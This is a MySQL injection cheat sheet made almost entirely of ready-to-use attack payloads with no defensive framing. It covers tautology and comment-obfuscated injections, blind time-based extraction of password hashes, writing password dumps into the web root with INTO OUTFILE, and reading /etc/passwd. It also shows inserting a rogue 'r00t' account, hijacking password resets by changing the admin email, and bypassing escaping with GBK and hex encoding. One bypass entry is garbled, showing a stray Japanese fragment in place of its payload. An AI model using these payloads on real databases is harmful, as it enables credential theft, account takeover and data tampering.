MySQL Injection Cheat Sheet

MySQL Injection Cheat Sheet

Basics.

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SELECT * FROM login /* foobar */
SELECT * FROM login WHERE id = 1 or 1=1
SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"

Variations.

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SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1
SELECT * FROM login WHE/**/RE id = 1 o/**/r 1=1 A/**/ND user L/**/IKE "%root%"

SHOW TABLES

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SELECT * FROM login WHERE id = 1 or 1=1; SHOW TABLES
SELECT VERSION
SELECT * FROM login WHERE id = 1 or 1=1; SELECT VERSION()
SELECT host,user,db from mysql.db
SELECT * FROM login WHERE id = 1 or 1=1; select host,user,db from mysql.db;

Blind injection vectors.

  1. Operators
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SELECT 1 && 1;
SELECT 1 || 1;
SELECT 1 XOR 0;
  1. Evaluate
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all render TRUE or 1.
SELECT 0.1 <= 2;
SELECT 2 >= 2;
SELECT ISNULL(1/0);
  1. Math
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SELECT FLOOR(7 + (RAND() * 5));
SELECT ROUND(23.298, -1);
  1. Misc
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SELECT LENGTH(COMPRESS(REPEAT('a',1000)));
SELECT MD5('abc');
  1. Benchmark
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SELECT BENCHMARK(10000000,ENCODE('abc','123'));
this takes around 5 sec on a localhost

SELECT BENCHMARK(1000000,MD5(CHAR(116)))
this takes around 7 sec on a localhost

SELECT BENCHMARK(10000000,MD5(CHAR(116)))
this takes around 70 sec on a localhost
  1. Using the timeout to check if user exists
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SELECT IF( user = 'root', BENCHMARK(1000000,MD5( 'x' )),NULL) FROM login
Beware of of the N rounds, add an extra zero and it could stall or crash your browser!

Gathering info

  1. Table mapping
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SELECT COUNT(*) FROM tablename
  1. Field mapping
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SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user LIKE "%"
SELECT * FROM tablename WHERE user = 'root' AND id IS NOT NULL;
SELECT * FROM tablename WHERE user = 'x' AND id IS NULL;
  1. User mapping
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SELECT * FROM tablename WHERE email = 'user@site.com';
SELECT * FROM tablename WHERE user LIKE "%root%"
SELECT * FROM tablename WHERE user = 'username'

Advanced SQL vectors

  1. Writing info into files
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SELECT password FROM tablename WHERE username = 'root' INTO OUTFILE
'/path/location/on/server/www/passes.txt'
  1. Writing info into files without single quotes: (example)
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SELECT password FROM tablename WHERE username =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39)) INTO
OUTFILE CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR(
39))

Note: You must specify a new file, it may not exist! and give the correct pathname!
  1. The CHAR() quoteless function
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SELECT * FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))

SELECT * FROM login WHERE user = CHAR(39,97,39)
  1. Extracting hashes
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SELECT user FROM login WHERE user = 'root'
UNION SELECT IF(SUBSTRING(pass,1,1) = CHAR(97),
BENCHMARK(1000000,MD5('x')),null) FROM login

example:

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SELECT user FROM login WHERE user = 'admin'
UNION SELECT IF(SUBSTRING(passwordfield,1,1) = CHAR(97),
BENCHMARK(1000000,MD5('x')),null) FROM login

SELECT user FROM login WHERE user = 'admin'
UNION SELECT IF(SUBSTRING(passwordfield,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5('x')),null) FROM login
  1. explaining: (passwordfield,startcharacter,selectlength)
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    is like: (password,1,2) this selects: ‘ab’
    is like: (password,1,3) this selects: ‘abc’
    is like: (password,1,4) this selects: ‘abcd’
  1. A quoteless example:
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SELECT user FROM login WHERE user =
CONCAT(CHAR(39),CHAR(97),CHAR(100),CHAR(109),CHAR(105),CHAR(110),CHAR( 39))
UNION SELECT IF(SUBSTRING(pass,1,2) = CHAR(97,97),
BENCHMARK(1000000,MD5(CHAR(59))),null) FROM login

Possible chars: 0 to 9 ? ASCII 48 to 57 ~ a to z ? ASCII 97 to 122

Misc

  1. Insert a new user into DB
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INSERT INTO login SET user = 'r00t', pass = 'abc'
  1. Retrieve /etc/passwd file, put it into a field and insert a new user
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load data infile "/etc/passwd" INTO table login (profiletext, @var1) SET user =
'r00t', pass = 'abc'

Then login!
  1. Write the DB user away into tmp
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SELECT host,user,password FROM user into outfile '/tmp/passwd';
  1. Change admin e-mail, for “forgot login retrieval.”
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UPDATE users set email = 'mymail@site.com' WHERE email = 'admin@site.com';

Bypassing PHP functions

(MySQL 4.1.x before 4.1.20 and 5.0.x)

  1. Bypassing addslashes() with GBK encoding
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WHERE x = 0xbf27admin 0xbf27
  1. Bypassing mysql_real_escape_string() with BIG5 or GBK
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"injection string"
に?する追加情報:

the above chars are Chinese Big5

Advanced Vectors

Using an HEX encoded query to bypass escaping.

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Normal:
SELECT * FROM login WHERE user = 'root'

Bypass:
SELECT * FROM login WHERE user = 0x726F6F74

Inserting a new user in SQL.

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Normal:
insert into login set user = ‘root’, pass = ‘root’

Bypass:
insert into login set user = 0x726F6F74, pass = 0x726F6F74

How to determin the HEX value for injection.

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SELECT HEX('root');
gives you:

726F6F74
then add:

0x
before it.
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